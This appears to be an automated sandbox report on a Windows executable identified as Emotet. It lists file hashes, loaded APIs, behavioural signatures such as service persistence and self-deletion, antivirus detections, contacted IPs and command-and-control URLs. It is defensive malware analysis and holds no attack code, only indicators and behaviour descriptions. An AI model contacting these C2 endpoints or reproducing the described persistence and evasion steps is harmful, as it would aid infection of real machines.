2020-05-23 10:43:10,500 [lib.common.results] WARNING: File C:\JOAxPSDeF\bin\procmon.xml doesn't exist anymore
2020-05-23 10:43:10,500 [root] INFO: Finishing auxiliary modules.
2020-05-23 10:43:10,500 [root] INFO: Shutting down pipe server and dumping dropped files.
2020-05-23 10:43:10,515 [root] WARNING: Folder at path "C:\JOAxPSDeF\debugger" does not exist, skip.
2020-05-23 10:43:10,515 [root] INFO: Analysis completed.

Machine

Name Label Manager Started On Shutdown On
win7x64_1 win7x64_5 KVM 2020-05-23 10:38:59 2020-05-23 10:43:16

File Details

File Name ECKCd9
File Size 360448 bytes
File Type PE32 executable (GUI) Intel 80386, for MS Windows
PE timestamp 2020-05-22 17:04:53
MD5 9bb890a8d6bee81118f6b6f4f93cfe36
SHA1 f8232284b2b40cf59b370a308e95cc717044936e
SHA256 89b42d5dad92b1dbdff9f02bf68f4d792422f9117a1a075b685dedc8708a5450
SHA512 70f1399ead299cf5f89a05db752fa93360bcc050192e6b094ddb5df375d975fc1b12c32df477ea2c52e070c93c6dcc364c57b1d159a830c52c8e477b2d57ad6b
CRC32 0BC058FD
Ssdeep 6144:pusQJPDIOhpH6qZUKv9XzH34f1pfV85IVBZhhEMU/fGjQiOLtoZ:pusuXZFvFUf1nBSMTQi2toZ
Download Download ZIP Resubmit sample

Signatures

SetUnhandledExceptionFilter detected (possible anti-debug)
Behavioural detection: Executable code extraction
Yara rule detections observed from a process memory dump/dropped files/CAPE
Hit: PID 4188 trigged the Yara rule 'Emotet'
Mimics the system's user agent string for its own requests
Dynamic (imported) function loading detected
DynamicLoader: IMM32.DLL/ImmCreateContext
DynamicLoader: IMM32.DLL/ImmDestroyContext
DynamicLoader: IMM32.DLL/ImmNotifyIME
DynamicLoader: IMM32.DLL/ImmAssociateContext
DynamicLoader: IMM32.DLL/ImmReleaseContext
DynamicLoader: IMM32.DLL/ImmGetContext
DynamicLoader: IMM32.DLL/ImmGetCompositionStringA
DynamicLoader: IMM32.DLL/ImmSetCompositionStringA
DynamicLoader: IMM32.DLL/ImmGetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCandidateWindow
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/SetDefaultPrinterW
DynamicLoader: WINSPOOL.DRV/GetDefaultPrinterW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverPackagePathW
DynamicLoader: WINSPOOL.DRV/CorePrinterDriverInstalledW
DynamicLoader: WINSPOOL.DRV/GetCorePrinterDriversW
DynamicLoader: WINSPOOL.DRV/UploadPrinterDriverPackageW
DynamicLoader: WINSPOOL.DRV/InstallPrinterDriverFromPackageW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/AddPrinterConnection2W
DynamicLoader: WINSPOOL.DRV/OpenPrinter2W
DynamicLoader: WINSPOOL.DRV/DeletePrinterKeyW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDataExW
DynamicLoader: WINSPOOL.DRV/EnumPrinterKeyW
DynamicLoader: WINSPOOL.DRV/EnumPrinterDataExW
DynamicLoader: WINSPOOL.DRV/GetPrinterDataExW
DynamicLoader: WINSPOOL.DRV/SetPrinterDataExW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDataW
DynamicLoader: WINSPOOL.DRV/EnumPrinterDataW
DynamicLoader: WINSPOOL.DRV/SpoolerPrinterEvent
DynamicLoader: WINSPOOL.DRV/SetPortW
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: WINSPOOL.DRV/DevicePropertySheets
DynamicLoader: WINSPOOL.DRV/IsValidDevmodeW
DynamicLoader: WINSPOOL.DRV/IsValidDevmodeA
DynamicLoader: WINSPOOL.DRV/AddPortExW
DynamicLoader: WINSPOOL.DRV/DeletePrintProvidorW
DynamicLoader: WINSPOOL.DRV/AddPrintProvidorW
DynamicLoader: WINSPOOL.DRV/DeletePrintProcessorW
DynamicLoader: WINSPOOL.DRV/DeleteMonitorW
DynamicLoader: WINSPOOL.DRV/AddMonitorW
DynamicLoader: WINSPOOL.DRV/StartDocDlgW
DynamicLoader: WINSPOOL.DRV/AdvancedDocumentPropertiesW
DynamicLoader: WINSPOOL.DRV/AdvancedDocumentPropertiesA
DynamicLoader: WINSPOOL.DRV/DocumentPropertiesW
DynamicLoader: WINSPOOL.DRV/DeviceCapabilitiesW
DynamicLoader: WINSPOOL.DRV/DeletePrinterIC
DynamicLoader: WINSPOOL.DRV/PlayGdiScriptOnPrinterIC
DynamicLoader: WINSPOOL.DRV/CreatePrinterIC
DynamicLoader: WINSPOOL.DRV/SetJobW
DynamicLoader: WINSPOOL.DRV/GetJobW
DynamicLoader: WINSPOOL.DRV/EnumJobsW
DynamicLoader: WINSPOOL.DRV/AddPrinterW
DynamicLoader: WINSPOOL.DRV/SetPrinterW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverDirectoryW
DynamicLoader: WINSPOOL.DRV/EnumPrintersW
DynamicLoader: WINSPOOL.DRV/AddPrinterConnectionW
DynamicLoader: WINSPOOL.DRV/DeletePrinterConnectionW
DynamicLoader: WINSPOOL.DRV/AddPrinterDriverExW
DynamicLoader: WINSPOOL.DRV/AddPrinterDriverExA
DynamicLoader: WINSPOOL.DRV/EnumPrinterDriversW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverExW
DynamicLoader: WINSPOOL.DRV/AddPrintProcessorW
DynamicLoader: WINSPOOL.DRV/EnumPrintProcessorsW
DynamicLoader: WINSPOOL.DRV/GetPrintProcessorDirectoryW
DynamicLoader: WINSPOOL.DRV/EnumPrintProcessorDatatypesW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/SplDriverUnloadComplete
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/OpenPrinterW
DynamicLoader: WINSPOOL.DRV/OpenPrinterA
DynamicLoader: WINSPOOL.DRV/ResetPrinterW
DynamicLoader: WINSPOOL.DRV/StartDocPrinterW
DynamicLoader: WINSPOOL.DRV/FlushPrinter
DynamicLoader: WINSPOOL.DRV/GetPrinterDataW
DynamicLoader: WINSPOOL.DRV/SetPrinterDataW
DynamicLoader: WINSPOOL.DRV/AddJobW
DynamicLoader: WINSPOOL.DRV/ScheduleJob
DynamicLoader: WINSPOOL.DRV/WaitForPrinterChange
DynamicLoader: WINSPOOL.DRV/FindNextPrinterChangeNotification
DynamicLoader: WINSPOOL.DRV/PrinterMessageBoxW
DynamicLoader: WINSPOOL.DRV/ClosePrinter
DynamicLoader: WINSPOOL.DRV/AddFormW
DynamicLoader: WINSPOOL.DRV/DeleteFormW
DynamicLoader: WINSPOOL.DRV/GetFormW
DynamicLoader: WINSPOOL.DRV/SetFormW
DynamicLoader: WINSPOOL.DRV/EnumFormsW
DynamicLoader: WINSPOOL.DRV/EnumPortsW
DynamicLoader: WINSPOOL.DRV/EnumMonitorsW
DynamicLoader: WINSPOOL.DRV/AddPortW
DynamicLoader: WINSPOOL.DRV/ConfigurePortW
DynamicLoader: WINSPOOL.DRV/DeletePortW
DynamicLoader: WINSPOOL.DRV/GetPrinterW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverPackageW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/InitializeCriticalSectionAndSpinCount
DynamicLoader: kernel32.dll/IsProcessorFeaturePresent
DynamicLoader: kernel32.dll/CreateActCtxW
DynamicLoader: kernel32.dll/ReleaseActCtx
DynamicLoader: kernel32.dll/ActivateActCtx
DynamicLoader: kernel32.dll/DeactivateActCtx
DynamicLoader: USER32.dll/NotifyWinEvent
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: CRYPTBASE.dll/SystemFunction036
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SHELL32.dll/
DynamicLoader: ADVAPI32.dll/OpenThreadToken
DynamicLoader: propsys.dll/PSLookupPropertyHandlerCLSID
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: propsys.dll/PSCreatePropertyStoreFromObject
DynamicLoader: propsys.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToStringAlloc
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: propsys.dll/PropVariantToBuffer
DynamicLoader: propsys.dll/PropVariantToUInt64
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: propsys.dll/InitPropVariantFromBuffer
DynamicLoader: ADVAPI32.dll/GetNamedSecurityInfoW
DynamicLoader: ADVAPI32.dll/TreeSetNamedSecurityInfoW
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: OLEAUT32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
DynamicLoader: api-ms-win-downlevel-advapi32-l1-1-0.dll/UnregisterTraceGuids
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: KERNELBASE.dll/InitializeCriticalSectionAndSpinCount
DynamicLoader: kernel32.dll/ProcessIdToSessionId
DynamicLoader: IMM32.DLL/ImmCreateContext
DynamicLoader: IMM32.DLL/ImmDestroyContext
DynamicLoader: IMM32.DLL/ImmNotifyIME
DynamicLoader: IMM32.DLL/ImmAssociateContext
DynamicLoader: IMM32.DLL/ImmReleaseContext
DynamicLoader: IMM32.DLL/ImmGetContext
DynamicLoader: IMM32.DLL/ImmGetCompositionStringA
DynamicLoader: IMM32.DLL/ImmSetCompositionStringA
DynamicLoader: IMM32.DLL/ImmGetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCompositionStringW
DynamicLoader: IMM32.DLL/ImmSetCandidateWindow
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/SetDefaultPrinterW
DynamicLoader: WINSPOOL.DRV/GetDefaultPrinterW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverPackagePathW
DynamicLoader: WINSPOOL.DRV/CorePrinterDriverInstalledW
DynamicLoader: WINSPOOL.DRV/GetCorePrinterDriversW
DynamicLoader: WINSPOOL.DRV/UploadPrinterDriverPackageW
DynamicLoader: WINSPOOL.DRV/InstallPrinterDriverFromPackageW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/AddPrinterConnection2W
DynamicLoader: WINSPOOL.DRV/OpenPrinter2W
DynamicLoader: WINSPOOL.DRV/DeletePrinterKeyW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDataExW
DynamicLoader: WINSPOOL.DRV/EnumPrinterKeyW
DynamicLoader: WINSPOOL.DRV/EnumPrinterDataExW
DynamicLoader: WINSPOOL.DRV/GetPrinterDataExW
DynamicLoader: WINSPOOL.DRV/SetPrinterDataExW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDataW
DynamicLoader: WINSPOOL.DRV/EnumPrinterDataW
DynamicLoader: WINSPOOL.DRV/SpoolerPrinterEvent
DynamicLoader: WINSPOOL.DRV/SetPortW
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: WINSPOOL.DRV/DevicePropertySheets
DynamicLoader: WINSPOOL.DRV/IsValidDevmodeW
DynamicLoader: WINSPOOL.DRV/IsValidDevmodeA
DynamicLoader: WINSPOOL.DRV/AddPortExW
DynamicLoader: WINSPOOL.DRV/DeletePrintProvidorW
DynamicLoader: WINSPOOL.DRV/AddPrintProvidorW
DynamicLoader: WINSPOOL.DRV/DeletePrintProcessorW
DynamicLoader: WINSPOOL.DRV/DeleteMonitorW
DynamicLoader: WINSPOOL.DRV/AddMonitorW
DynamicLoader: WINSPOOL.DRV/StartDocDlgW
DynamicLoader: WINSPOOL.DRV/AdvancedDocumentPropertiesW
DynamicLoader: WINSPOOL.DRV/AdvancedDocumentPropertiesA
DynamicLoader: WINSPOOL.DRV/DocumentPropertiesW
DynamicLoader: WINSPOOL.DRV/DeviceCapabilitiesW
DynamicLoader: WINSPOOL.DRV/DeletePrinterIC
DynamicLoader: WINSPOOL.DRV/PlayGdiScriptOnPrinterIC
DynamicLoader: WINSPOOL.DRV/CreatePrinterIC
DynamicLoader: WINSPOOL.DRV/SetJobW
DynamicLoader: WINSPOOL.DRV/GetJobW
DynamicLoader: WINSPOOL.DRV/EnumJobsW
DynamicLoader: WINSPOOL.DRV/AddPrinterW
DynamicLoader: WINSPOOL.DRV/SetPrinterW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverDirectoryW
DynamicLoader: WINSPOOL.DRV/EnumPrintersW
DynamicLoader: WINSPOOL.DRV/AddPrinterConnectionW
DynamicLoader: WINSPOOL.DRV/DeletePrinterConnectionW
DynamicLoader: WINSPOOL.DRV/AddPrinterDriverExW
DynamicLoader: WINSPOOL.DRV/AddPrinterDriverExA
DynamicLoader: WINSPOOL.DRV/EnumPrinterDriversW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverExW
DynamicLoader: WINSPOOL.DRV/AddPrintProcessorW
DynamicLoader: WINSPOOL.DRV/EnumPrintProcessorsW
DynamicLoader: WINSPOOL.DRV/GetPrintProcessorDirectoryW
DynamicLoader: WINSPOOL.DRV/EnumPrintProcessorDatatypesW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/SplDriverUnloadComplete
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/OpenPrinterW
DynamicLoader: WINSPOOL.DRV/OpenPrinterA
DynamicLoader: WINSPOOL.DRV/ResetPrinterW
DynamicLoader: WINSPOOL.DRV/StartDocPrinterW
DynamicLoader: WINSPOOL.DRV/FlushPrinter
DynamicLoader: WINSPOOL.DRV/GetPrinterDataW
DynamicLoader: WINSPOOL.DRV/SetPrinterDataW
DynamicLoader: WINSPOOL.DRV/AddJobW
DynamicLoader: WINSPOOL.DRV/ScheduleJob
DynamicLoader: WINSPOOL.DRV/WaitForPrinterChange
DynamicLoader: WINSPOOL.DRV/FindNextPrinterChangeNotification
DynamicLoader: WINSPOOL.DRV/PrinterMessageBoxW
DynamicLoader: WINSPOOL.DRV/ClosePrinter
DynamicLoader: WINSPOOL.DRV/AddFormW
DynamicLoader: WINSPOOL.DRV/DeleteFormW
DynamicLoader: WINSPOOL.DRV/GetFormW
DynamicLoader: WINSPOOL.DRV/SetFormW
DynamicLoader: WINSPOOL.DRV/EnumFormsW
DynamicLoader: WINSPOOL.DRV/EnumPortsW
DynamicLoader: WINSPOOL.DRV/EnumMonitorsW
DynamicLoader: WINSPOOL.DRV/AddPortW
DynamicLoader: WINSPOOL.DRV/ConfigurePortW
DynamicLoader: WINSPOOL.DRV/DeletePortW
DynamicLoader: WINSPOOL.DRV/GetPrinterW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverPackageW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/InitializeCriticalSectionAndSpinCount
DynamicLoader: kernel32.dll/IsProcessorFeaturePresent
DynamicLoader: kernel32.dll/CreateActCtxW
DynamicLoader: kernel32.dll/ReleaseActCtx
DynamicLoader: kernel32.dll/ActivateActCtx
DynamicLoader: kernel32.dll/DeactivateActCtx
DynamicLoader: USER32.dll/NotifyWinEvent
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptImportKey
DynamicLoader: CRYPTSP.dll/CryptGenKey
DynamicLoader: CRYPTSP.dll/CryptCreateHash
DynamicLoader: CRYPTSP.dll/CryptDuplicateHash
DynamicLoader: CRYPTSP.dll/CryptEncrypt
DynamicLoader: CRYPTSP.dll/CryptExportKey
DynamicLoader: CRYPTSP.dll/CryptGetHashParam
DynamicLoader: CRYPTSP.dll/CryptDestroyHash
DynamicLoader: WS2_32.dll/
DynamicLoader: WS2_32.dll/
DynamicLoader: WS2_32.dll/WSAIoctl
DynamicLoader: WS2_32.dll/
DynamicLoader: WS2_32.dll/
DynamicLoader: IPHLPAPI.DLL/NotifyIpInterfaceChange
DynamicLoader: IPHLPAPI.DLL/NotifyUnicastIpAddressChange
DynamicLoader: api-ms-win-downlevel-ole32-l1-1-0.dll/CoInitializeEx
DynamicLoader: CRYPTBASE.dll/SystemFunction036
DynamicLoader: api-ms-win-downlevel-advapi32-l1-1-0.dll/EventWrite
DynamicLoader: api-ms-win-downlevel-ole32-l1-1-0.dll/CoCreateInstance
DynamicLoader: IPHLPAPI.DLL/GetAdaptersAddresses
DynamicLoader: WS2_32.dll/GetAddrInfoW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: OLEAUT32.dll/DllGetClassObject
DynamicLoader: OLEAUT32.dll/DllCanUnloadNow
DynamicLoader: ADVAPI32.dll/RegOpenKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: IPHLPAPI.DLL/ConvertInterfaceGuidToLuid
DynamicLoader: IPHLPAPI.DLL/GetIpForwardTable2
DynamicLoader: IPHLPAPI.DLL/GetIpNetEntry2
DynamicLoader: IPHLPAPI.DLL/FreeMibTable
DynamicLoader: WS2_32.dll/
DynamicLoader: api-ms-win-downlevel-ole32-l1-1-0.dll/StringFromIID
DynamicLoader: api-ms-win-downlevel-ole32-l1-1-0.dll/CoUninitialize
DynamicLoader: OLEAUT32.dll/
DynamicLoader: CRYPTSP.dll/CryptDecrypt
DynamicLoader: CRYPTSP.dll/CryptVerifySignatureW
DynamicLoader: api-ms-win-downlevel-ole32-l1-1-0.dll/CoSetProxyBlanket
DynamicLoader: ole32.dll/ObjectStublessClient10
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: api-ms-win-downlevel-advapi32-l1-1-0.dll/RegEnumKeyExW
DynamicLoader: OLEAUT32.dll/
Performs HTTP requests potentially not found in PCAP.
url: 144.139.91.187:80/zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/
url: 144.139.91.187:80/nfJJ28w1ZV995N2Tpu/
Expresses interest in specific running processes
process: prflbmsg.exe
CAPE extracted potentially suspicious content
ECKCd9.exe: Emotet Payload: 32-bit executable
ECKCd9.exe: [{'name': 'Emotet', 'meta': {'author': 'kevoreilly', 'description': 'Emotet Payload', 'cape_type': 'Emotet Payload'}, 'strings': [b'\x8bH\x04\[email protected] (\[email protected]\x00\[email protected]\x10(\[email protected]\x00\[email protected]\x0c\x00\x00\x00\x00\x83<\xcd(\[email protected]\x00\x00t\x0eA\x89H\x04\x83<\xcd(\[email protected]\x00\x00u\xf2'], 'addresses': {'snippet7': 2753}}]
Multiple direct IP connections
direct_ip_connections: Made direct connections to 6 unique IP addresses
HTTP traffic contains suspicious features which may be indicative of malware related traffic
ip_hostname: HTTP connection was made to an IP address rather than domain name
suspicious_request: http://144.139.91.187/zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/
suspicious_request: http://144.139.91.187/nfJJ28w1ZV995N2Tpu/
Performs some HTTP requests
url: http://144.139.91.187/zKxKJ0IxDY/hdXrbRtnZ0J5z/ckBJkDnLeFas1F/
url: http://144.139.91.187/nfJJ28w1ZV995N2Tpu/
Authenticode signature is invalid
authenticode error: No signature found. SignTool Error File not valid C\Users\Louise\AppData\Local\Temp\ECKCd9
Deletes its original binary from disk
Attempts to remove evidence of file being downloaded from the Internet
file: C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe:Zone.Identifier
Creates or sets a registry key to a long series of bytes, possibly to store a binary or malware config
regkeyval: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCache
Installs itself for autorun at Windows startup
service name: prflbmsg
service path: "C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe"
Installs itself for autorun at Windows startup
service name: prflbmsg
service path: "C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe"
CAPE detected the Emotet malware family
File has been identified by 12 Antiviruses on VirusTotal as malicious
APEX: Malicious
Paloalto: generic.ml
Kaspersky: UDS:DangerousObject.Multi.Generic
Invincea: heuristic
McAfee-GW-Edition: Artemis
Microsoft: Trojan:Win32/Emotet!ibt
Endgame: malicious (high confidence)
ZoneAlarm: UDS:DangerousObject.Multi.Generic
McAfee: Emotet-FQQ!9BB890A8D6BE
Fortinet: W32/GenKryptik.EKZK!tr
BitDefenderTheta: Gen:[email protected]
CrowdStrike: win/malicious_confidence_60% (W)
Attempts to modify proxy settings
Creates a copy of itself
copy: C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe
Drops a binary and executes it
binary: C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe
Created a service that was not started
service: prflbmsg
Created network traffic indicative of malicious activity
signature: ET JA3 Hash - Possible Malware - Various Eitest
signature: ET CNC Feodo Tracker Reported CnC Server group 4
signature: ET JA3 Hash - Possible Malware - RigEK
signature: ET MALWARE Win32/Emotet CnC Activity (POST) M8

Screenshots


Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 52.114.159.112 [VT] United States
Y 40.90.218.0 [VT] United States
Y 2.20.74.110 [VT] Europe
Y 172.217.23.174 [VT] United States
Y 144.139.91.187 [VT] Australia

DNS

No domains contacted.


Summary

C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe.2.Manifest
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe.3.Manifest
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe.Config
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe
C:\
C:\Windows\SysWOW64\multdbt.exe
C:\Windows\System32\*
C:\Windows\
C:\Windows\SysWOW64\
C:\Windows\SysWOW64\prflbmsg\
C:\Windows\SysWOW64\shell32.dll
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Users
C:\Users\Louise\AppData\Local\Microsoft\Windows\Caches
C:\Users\Louise\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\Louise\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000014.db
C:\Users\desktop.ini
C:\Users\Louise
C:\Users\Louise\AppData
\??\MountPointManager
C:\Users\Louise\AppData\Local
C:\Users\Louise\AppData\Local\Temp
C:\Windows
C:\Windows\SysWOW64
C:\Windows\SysWOW64\prflbmsg
C:\Windows\SysWOW64\propsys.dll
C:\Windows\sysnative\propsys.dll
C:\Windows\SysWOW64\en-US\SHELL32.dll.mui
C:\Users\Louise\AppData\Local\
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe:Zone.Identifier
C:\Users\Louise\AppData\Local\Microsoft\Windows\Burn
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu
C:\Users\Louise\AppData\Roaming
C:\Users\Louise\AppData\Roaming\Microsoft
C:\Users\Louise\AppData\Roaming\Microsoft\Windows
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft OneDrive.lnk
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Python 3.8
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR
C:\Windows\sysnative\Branding\Shellbrd\Shellbrd.dll
C:\Windows\Branding\ShellBrd\shellbrd.dll
C:\ProgramData\Microsoft\Windows\Start Menu
C:\Users\Louise\Desktop
C:\Users\Louise\Desktop\desktop.ini
C:\Users\Public\Desktop
C:\Users\Public
C:\Users\Public\desktop.ini
C:\Users\Public\Desktop\desktop.ini
C:\ProgramData
C:\ProgramData\Microsoft
C:\ProgramData\Microsoft\desktop.ini
C:\ProgramData\Microsoft\Windows
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Internet Explorer
C:\Users\Louise\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
C:\Users\Louise\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AcroRd32.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSACCESS.EXE
C:\Program Files (x86)\Microsoft Office\Office14\INFOPATH.EXE
C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE
C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.EXE
C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE
C:\Program Files (x86)\Microsoft Office\Office14\MSTORE.EXE
C:\Program Files (x86)\Microsoft Office\Office14\OIS.EXE
C:\Windows\Temp
C:\autoexec.bat
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Themes\
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe.2.Manifest
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe.3.Manifest
